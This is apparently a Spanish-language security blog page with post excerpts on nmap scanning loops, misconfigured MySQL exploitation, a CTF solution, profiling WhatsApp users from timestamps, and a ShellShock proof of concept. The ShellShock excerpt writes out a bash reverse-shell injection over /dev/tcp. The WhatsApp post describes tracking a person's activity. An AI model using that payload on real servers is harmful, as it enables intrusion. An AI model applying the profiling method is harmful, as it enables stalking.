4

Generando matriz de tipo de dispositivos escaneados masivamente (nmap_os_parser)

Cuando me ha tocado realizar pentests  internos del tipo “black box” que posteriormente se convertirán en “gray box“, sé que debo escanear una gran cantidad de direcciones ip, y que de eso, generare una matriz que sera entregada al cliente, y el cliente determinará los objetivos a los que se les realizara las demás fases del estudio.

Siempre se empieza con el descubrimiento (El cual no es el caso de estudio). Pero cuando ya se tiene una lista de IP’s toca escanearlas. Claro está que en mi arsenal no puede faltar nmap, y a partir de la salida de nmap generare dicha matriz.

Ej:

Dada una lista de ips genero un bucle en bash, para escanear cada IP y que me genere las salidas en nmap.

#Nmap Loop

for i in $(cat ips.txt);do nmap <ARGUMENTOS_DESEADOS> -oA nmap_$i;done

 

Continue Reading

4

Aprovechandose de un Mysql mal configurado en varios escenarios. ( Limitantes y soluciones ) – Parte 1

La idea de este post no es “inventar el hilo negro“, ni de “re-inventar la piedra“. La idea de este post es simplemente ser un recordatorio y una “guideline” para mi. No hace mucho durante un Pentest me enfrente a diferentes detalles para explotar correctamente un Mysql mal configurado o por defecto. Así que, aquí listo algunos escenarios y como pude aprovecharlos en la explotación de dicha mala configuración.

Un aspecto completamente interesante de todo esto, es que los escáneres de vulnerabilidades catalogaban estas fallas como riesgo “medio” o “alto“, nunca como “crítico“… ¿Por qué? esto se debe a que los escáneres de vulnerabilidades catalogan el riesgo de la vulnerabilidad, máximo a un acceso no autorizado de la información.

Pero…realmente lo que puede llegar a pasar:

  • Ejecución de Código
  • Obtención de Usuarios
  • Obtención de información del host
  • Obtención de Hashes
  • Revelación de servicios
  • etc…

Y claro…nuestro objetivo como pentesters y por lo que nos pagan (o al menos espero que sea eso por lo que me pagan), es llevar ese nivel de riesgo “medio/alto” y que solo se limita a la exposición de información, a un nivel “critico” donde somos “amos y dueños” del sistema.

Antes de pasar a los escenarios y al “troubleshooting” veamos los conceptos y comandos básicos cuando nos enfrentamos ante un Mysql…

Detección del servicio:

Continue Reading

3

Soluciones para n00bsCTFLabs de Infosecinstitute

In this post I will write my solutions to the n00bsCTF that InfosecInstitute made. I guess I should post this write-up in english language in order to participate for the bounty 😛 , nevertheless i’ve decided to write it in spanish because in Mexico there is a lot of young people trying to begin a career in infosec field, and I think this could help them. So…here we go.

 

Nivel 1.

Nos aparecía una imagen de Yoda con la leyenda “May the source be with you

1

El primer nivel debería ser algo sumamente sencillo. Y en la frase debería estar la clave. Si uno es fan de Star-Wars vería que hay algo raro en la frase. Podemos ver esa diferencia comparando la frase original con la frase que dice aquí.

1_1

Vemos que la clave esta en la “fuente“, pudiendo referirse al “código fuente“. Podemos ver el código fuente de la página web (Ctrl+U en Chrome)

1_sourcecode

Y en la primera línea tenemos la respuesta.

Flag: infosec_flagis_welcome.

 

Nivel 2.

Continue Reading

1

Perfilando y rastreando las “últimas acciones” de un usuario en Whatsapp Web

Con la llegada de Whatsapp Web, nos llega un nuevo artefacto que nos permite seguir “rastreando” la actividad de un usuario en Whatsapp. La otra vez navegando y estando de curioso (no, no andaba de stalker 😛 ) en el portal de Whatsapp Web, me percate de una nueva “fecha de ultima acción” que podemos obtener… Por lo que por ahora podemos:

 

1) Obtener fecha de última vez que se actualizó el “estado”.

Status_timestamp

 

2) Obtener fecha de ultima conexión.

Last_connection

 

3) Obtener fecha de cuando se agrego foto de perfil.

Esto es lo nuevo que encontré, cuando estaba en Whatsapp Web, vi las imágenes (que se ven en un tamaño bastante considerable 😀 ) y la URL se formaba de esta manera:

https://web.whatsapp.com/pp?t=l&u=5215500000000%40c.us&i=1423015939

Donde:

  • &u=5215500000000  Es el parámetro donde se define la LADA y el numero de celular.
  • &i=1423015939  Es el timestamp en epoch.

De esta forma, solo obtenemos el timestamp y lo decodificamos:

epoch_decode

 

Así podemos saber que el usuario César:

  • Se conecto por última vez el: 09/Marzo/15 21:16
  • Actualizó su estado por última vez el: 2/Enero/15
  • Y subió su foto de perfil el: 03/Febereo/15 20:12:19

Podríamos hacer otras cosas como:

  • Bajar la imagen y buscarla en un buscador inverso de imágenes
  • Si se tiene al usuario en alguna red social, buscar la imagen y comparar metadata
  • Hacer “image forensics” para saber si la imagen fue editada
  • Etc…

Aunque se ve que es poco lo que se obtuvo, todo eso se junta con más análisis de otras redes sociales y un poco de google hacking, y se obtienen perfilaciones muy buenas de gente. Tengo por ahí otros truquillos de otras redes sociales y aplicaciones, pero eso lo hablaremos en otra ocasión 😉

Todo esto, como artefactos “forenses” o de investigación es genial, no lo useis con fines de “stalkear” a la gente u otras cosas enfermas.

 

¡Saludos! 😉

1

ShellShock# Pure Bash Reverse Shell – PoC

Como hay un ¡BOOM! ahorita, con el Bug CVE-2014-6271 o mejor denominado #ShellShock #BashBleed etc… Decidi poner mi granito de arena, ya todo mundo explico que es, y como se esta explotando y buscando servers vulnerables (Lo puedes hacer con w3af, nmap, etc…)

Despues de encontrarlos se esta tratando de descargar codigos para hacer una conexión remota y obtener asi una shell…Yo me enfocare en crear la conexión remota, sin descargar nada.

De manera muy rápida veamos la vulnerabilidad.

Puedo declarar una función en una variable de entorno en bash y todo bien =)

0_Function

Posteriormente puedo ejecutar un comando y todo bien.

1_env

El problema radica, cuando ingreso comandos dentro de la declaración es son ejecutados.

2_test

Esa cadena esta siendo ejecutada dentro de la variable después de la declaración de la función y eso no debería pasar.

 

PoC

¿Manera de explotarlo? Mucha gente esta adjuntando la declaración de la función y comandos en la cabecera de User-Agent o Cookie, a aplicaciones con scripts CGI y si es vulnerable, ejecutara sus comandos.

Lo normal entonces seria tratar de hacer una conexión remota y obtener una shell, para esto la gente está inyectando código que:

  • Carga código que me permite conectarme remotamente
  • Crea un listener con NetCat ¿Pero si el server no tiene netcat?
  • Infinidad de cosas que se ocurran.

 

Para evitar hacer todo esto, podemos simplemente inyectar código que me cree la conexión y aquí es donde se me ocurre hacer uso de este comando que me crea una shell inversa con comandos puros de bash, que todo bash tiene.

Primero creare un Listener en mi equipo.

3_netcatDespues inyectare la shell:

env x='() { :;}; exec 6<>/dev/tcp/server/port;cat 0<&6 |while read i;do $i 2>&6 1>&6;done’

shell

Y vere que ya puedo ejecutar comandos =)
pwned

Hacer este tipo de rever shell con puro bash lo aprendi de GNUCITIZEN

Saludos 😉